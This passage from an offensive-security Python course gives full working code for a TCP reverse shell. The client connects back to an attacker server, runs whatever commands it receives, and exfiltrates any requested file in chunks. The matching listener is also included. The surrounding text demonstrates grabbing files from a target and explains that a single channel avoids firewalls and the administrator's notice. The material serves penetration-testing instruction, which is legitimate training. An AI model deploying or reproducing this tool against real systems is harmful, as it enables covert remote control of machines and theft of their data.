So, let's start with the updated server side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# TCP Data Exfiltration Server
import socket
import os # Needed for file operation
# In the transfer function, we first create a trivial file called "test.png" as a file holder just to hold the
# received bytes , then we go into infinite loop and store the received data into our file holder "test.png", however
# If the requested file doesn't exist or if we reached the end of the file then we will break the loop
# note that we could know the end of the file, if we received the "DONE" tag from the target side
# Keep in mind that you can enhance the code and dynamically change the test.png to other file extension based on the user input
def transfer(conn,command):
conn.send(command)
f = open('/root/Desktop/test.png','wb')
while True:
bits = conn.recv(1024)
if 'Unable to find out the file' in bits:
print '[-] Unable to find out the file'
break
if bits.endswith('DONE'):
print '[+] Transfer completed '
f.close()
break
f.write(bits)
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("10.0.2.15", 8080))
s.listen(1)
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept()
print '[+] We got a connection from: ', addr
while True:
command = raw_input("Shell> ")
if 'terminate' in command:
conn.send('terminate')
conn.close()
break
# if we received grab keyword from the user input, then this is an indicator for
# file transfer operation, hence we will call transfer function
# Remember the Formula is grab*<File Path>
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg
elif 'grab' in command:
transfer(conn,command)
else:
conn.send(command)
print conn.recv(1024)
def main ():
connect()
main()
The elif 'grab' in command:
code indicates that this is not a normal command; this command is used to transfer a file. So, both the server and the client must agree on this indicator or formula. Now, the formula will be grab
followed by *
and the path of the file that we want to grab, for example, grab*C:\Users\Hussam\Desktop\photo.jpeg
.
Now, let's take a look at the client side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# TCP Data Exfiltration Client
import socket
import subprocess
import os # needed for file operations
# In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker
# otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the
# server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the file
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else: # the file doesn't exist
s.send('Unable to find out the file')
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
# if we received grab keyword from the attacker, then this is an indicator for
# file transfer operation, hence we will split the received commands into two
# parts, the second part which we intrested in contains the file path, so we will
# store it into a variable called path and pass it to transfer function
# Remember the Formula is grab*<File Path>
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg
elif 'grab' in command:
grab,path = command.split('*')
try: # when it comes to low level file transfer, a lot of things can go wrong, therefore
# we use exception handling (try and except) to protect our script from being crashed
# in case something went wrong, we will send the error that happened and pass the exception
transfer(s,path)
except Exception,e:
s.send ( str(e) ) # send the exception error
pass
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send( CMD.stdout.read() )
s.send( CMD.stderr.read() )
def main ():
connect()
main()
As mentioned previously, both the client and the server must agree on the grab
formula. So, on the client side, if we receive a grab string, we will split the command into two sections, the section before *
and the section after *
, where the second section contains the path and we will store the path in the path variable. Now, to make sure that our script will not crash if something goes wrong during the transfer, we will use the exception handler.
Next, we send the path
variable to the transfer
function. So, the first thing that we'll do in the transfer
function is to check whether the requested file exists in the first place or not. If not, then we'll send the 'Unable to find out the file'
message to the server.
Next, we will read the file as pieces or chunks, where each piece or each chunk has a value of 1 KB, and we will loop around until we reach the end of the file. And when we do so, we need to send an indicator or a tag to the server side to indicate that we have reached the end of the file. So, the DONE
string in the preceding code block is to indicate that we have reached the end of the file.
Now, on the server side, we create a placeholder or file holder. We will store the received bytes in test.png
, which is the file holder here. When the control enters the loop, and each time we read 1 KB of data, it's written into test.png
. When it receives the DONE
string, it means that we have reached the end of the file. So, the file is closed and the loop ends. Also, if the server gets Unable to find the file
, it will print this out and break the loop.
Now, run the server script again and we'll be listening to port 8080
. Once we run the script on the target side, we get the shell. Next, proceed to the directory and try to grab Module2.pdf
by running the grab*Module2.pdf
command:
When we type the aforementioned command, it will trigger the if
statement on both the client side as well as the server side. So, on the target when we receive a grab*Module2.pdf
, we will split up this command into two parts. The second part contains Module2.pdf
, which is the file that we want to grab. We will store it in the path variable as discussed previously. The code will check whether the file exists, read it in chunks, and send it over to the server side. This gives a response at the server side: [+] Transfer completed
.
Find the file on your desktop, it's called 1.txt
now, change the file extension to .pdf
, and rename the file, since we know that this is not an image but only a placeholder. Now, open Module2.pdf
using any PDF reader just to make sure that the file is not corrupt. It'll open without any errors if it hasn't been corrupted.
Let's try with another one. Now, we'll grab Tulips.png
:
Since the file that we want to grab has the same extension as our file holder, which is .png
, we don't need to change the file extension.
Try to grab any file that exists but the same rule applies here: change the name of the file with its original extension. Let's try with a file that does not exist. Go back to our shell, and type grab*blaaaah.exe
and it will throw an error, as shown in the following image:
This will crash our script on the target side, which you will see when you run ipconfig
.
You were probably expecting us to use a well-known protocol such as FTP, SCP, or secure FTP to do the file transfer. But we used a very low-level file transfer over a TCP socket, so you might ask why we performed it. Since these well-known protocols could be blocked on the firewall, we won't be able to grab any files out. What we have done here is, instead of initiating a new channel every time we want to transfer a file which may trigger the admin's attention, create a single TCP socket, a single session, to gain access, doing a remote shell, as well as for file transfer. This type of transfer is called an inline transfer, where we got a single channel and a single session to perform all the desired actions.